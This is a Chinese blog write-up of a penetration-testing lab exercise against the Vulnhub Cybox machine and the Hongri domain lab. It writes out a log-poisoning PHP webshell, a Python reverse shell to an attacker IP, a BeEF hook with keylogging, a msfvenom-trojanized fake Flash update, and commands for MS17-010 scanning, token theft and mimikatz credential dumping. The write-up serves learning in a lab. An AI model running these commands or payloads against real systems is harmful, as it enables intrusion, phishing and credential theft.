缝合怪打缝合靶场~ – 作者:xiaoNie

概述

利用红日靶场四vulnhub靶机,缝合靶场的学习记录,前期准备中记录了vulhub项目的漏洞复现学习。在学习环境中可以不断利用缝合这几种方式/环境进行学习–我是缝合怪!~

  • Cybox-Web靶机-提权

  • Msf联动Beef进内网

  • proxychain-sock5代理

  • MS17-010提权system

  • 令牌窃取域管理员

图片[1]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

准备工作

此次共三台机器,红日靶场四中的域PC和域DC,加上Cybox 1.1的Web靶机。

需要更改攻击机的/etc/hosts和DC中dns的解析。将cybox.company设置为web靶机的IP。

图片[2]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

热身-vulhub

​         该靶场中的原有web机器是搭建好的vulhub 项目,一键构建对应漏洞的docker容器,方便进行漏洞学习/浮复现。这里推荐使用git clone整个项目,有变动的时候直接git pull即可。热身准备docker-未授权,搞一下~~

构建漏洞容器

sudo su 
##以sudo调用su,su是切换用户的命令,sudo是以ROOT权限执行切换,切换到ROOT输入本账户密码。
docker-compose build 
docker-compose up -d
git pull
##构建容器,启动容器,down是关闭容器,git pull 在本地拉取远程仓库同步。

图片[3]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[4]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科获取shell

图片[5]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[6]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

Cybox-1.1-Web

信息收集

获取子域名—目录爆破—兔子洞陷阱—越权修改密码—文件包含日志RCE—sudo提权

此靶机的ftp,ckeditor,webmail这三个地方是兔子洞,像漏洞……

webmail的squ 1.4.22版本存在可利用exp但是无法执行。

ftp的根目录在用户的$HOME写不了webshell。

ckeditor没有找到上传点……

gobuster vhost -u http://cybox.company -w 'dict' -t 64

图片[7]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科python3 dirsearch.py -e * -L url.txt -t 32 -x 400,403

图片[8]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科注册用户

​ 根据页面创建普通用户,得到cybox的用户名和密码,该用户可以登陆webmail系统

图片[9]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[10]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

越权漏洞

​         在monitor系统利用重置密码功能,在收件箱查收到重置链接后修改email参数为admin即可重置admin账户密码

图片[11]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[12]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

文件包含

​         在monitor系统的admin页面查看源码可以发现styles动态加载,存在php文件包含漏洞,在dev.cybox.company页面可以查看到phpinfo信息.

根据apache2路径在日志文件中写入<?php system($_GET[‘shell’]);?>,首先包含apache2的/opt/bitnami/apache2/logs/access_log路径看到日志存储的是ftp.cybox.company站点的日志在浏览器中按CTRL+SHIFT+I组合键在network中选择数据包选择’edit and resend’将php代码写入agent中发送即可。

图片[13]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[14]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[15]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击ip',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
##在这个靶机中因为设置了iptables白名单有严格的out和input链,反弹只能从21、25、80、443、110、143端口output。

图片[16]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科
sudo提权

​         利用github中找到的smart-linux-enum,使用该脚本进行枚举/信息收集,查找可以提权的点。

​        发现可疑/opt/registerlauncher程序,在同目录下发现源码,查阅后发现该源码为register页面结合看到的hahah用户判断此功能为注册页面register的功能实现,尝试创建多个用户后发现用户sudo可以执行任意sudo命令,以sudo su命令提权ROOT成功。在该靶机查看/etc/sudoers文件发现用户组%admin和%sudo拥有sudo权限,创建sudo用户的同时,sudo也在sudo同名组。

图片[17]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[18]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[19]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

内网渗透

​        发现该机器存在白名单的iptables限制,本意不打算修改。该系统为目标的公司系统,控制了web系统后修改web页面的php文件增加beef的hook,横向扩展使用msf联动beef的方式进行。

图片[20]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

beef文件修改

修改beef的配置文件,此处只做示例,详细情况根据自己的环境和想法修改。beef配置文件采用yaml格式,内部有注释,通俗易懂。

  • extension扩展打开

  • 修改默认用户/密码

  • 修改默认文件名/路径

  • 修改默认端口

默认kali环境下路径为

/usr/share/beef-xss/config.yaml

在最后的扩展部分找到msf设置为true,其余的端口密码,路径文件名全都在该文件中,看注释或者单词名即可。篇幅原因就不粘贴出来了。

/usr/share/beef-xss/extensions/metasploit/config.yaml

在第二张截图是msf扩展部分,其中端口是msf默认的api接口,beef会和这个端口通讯,其中账户和密码也是默认的,可以修改,也可以不改。后续在msf加载的时候同步修改即可。最下面一部分需要根据自己的msf安装路径进行填写,需要让beef找到msf。

修改配置完成之后需要先打开msf,执行load msgrpc ServerHost=XXXXX Pass=XXXXX,加载成功后打开beef,beef默认需要ROOT执行,msf也必须以ROOT执行,我在不同权限启动的时候出现了报错,可能会无法访问msf的api接口,最新版msf以ROOT权限启动使用kali系统自身的postgresql。

图片[21]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

图片[22]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

fake-flash更新

​        在主页修改完成之后,在beef中即可看到用户上线,执行keylogger记录后,可以查看到用户的基本情况,以及在当前页面的键盘记录。我们模拟用户在域PC上面进行登陆,访问自己的register.cybox.company我们操作beef进行更新提示,诱导用户下载执行自己的恶意flash.exe程序。

msfvenom -a x86 --platform windows -x flashplayer_32_ax_debug.exe -k -p windows/meterpreter/reverse_tcp lhost=XXXX lport=XXX -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o flashplayer.exe 
首先在网络上找到一个flash的更新程序,利用msfvenom程序将木马捆绑在该程序上,'-k'选项的意思是不影响flash程序的本身功能,'-e -i'执行3次编码,'-b'是将可能影响程序的坏字符\x00剔除,这么制作完之后不能使用upx加壳。也可以用msfvenom 制作shellcode加载的方式。

图片[23]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[24]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[25]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

图片[26]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

也可以利用 msf的autopwn模块联动beef的点击劫持自动化攻击访问者的浏览器,autopwn会根据访问者的浏览器自动进行exp利用。

图片[27]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

UAC限制

正好顺着这个,用令牌窃取的方式获取域管理员权限。后续用管理员查看后发现本机的UAC设置开启的最高级别。

图片[28]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[29]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

获取shell-douser

图片[30]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

proxy chain代理

run get_local_subnets
run autoroute -s XXXX/24
获取本机网段,添加路由。
background 返回主页面
use auxiliary/server/socks_proxy
set srvhost XXXX 本机IP
socks中还有端口,账户,密码。都可以选择性更改。
最终的socks服务器将会把所有流量代理进这个meterpreter会话,使用这个通讯连接转发。

MS17-010漏洞

proxychains nmap -sV --top-ports 3000 XXXXX -Pn -T4
proxychains nmap -sV -p445 -iL ip.txt  -Pn --script smb-vuln-ms17-010
使用nmap进行top-3000端口扫描,-Pn禁止存活探测,验证ms17-010漏洞

图片[31]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科
图片[32]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

令牌窃取

​         kiwi_cmd就是执行mimikatz的命令,在msf中加载需要load kiwi。使用incognito令牌窃取,域管理员登陆过这台机器之后即可窃取域管理员身份令牌。

list_tokens -u  ##查看当前内存中的令牌
impersonate_token DEMO\\Administrator ##窃取域管理员令牌
chcp 65001 ## 切换英文,中文乱码
net view ##查看网内计算机名
nbtstat -A IP ## 根据IP查计算机名,在这里我们dc也是dns。没有dns解析找不到dc的。
dir \\DC\C$ ##以域管理员身份对DC执行dir命令
kiwi_cmd -f lsadump::sam  ###查看本地sam账户密码库
kiwi_cmd -f kerberos::list ###列出kerberos

图片[33]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[34]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

图片[35]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[36]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科图片[37]-缝合怪打缝合靶场~ – 作者:xiaoNie-安全小百科

总结

不断瞎搞各种各样的环境~~

学习一年多的一只新菜鸟,上文有任何错误之处请各位大哥尽情指出,还需要和各位前辈多多学习。

本人博客:https://dnie9.com/ ,刚开张半个月混个脸熟。

来源:freebuf.com 2021-01-17 10:35:23 by: xiaoNie

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论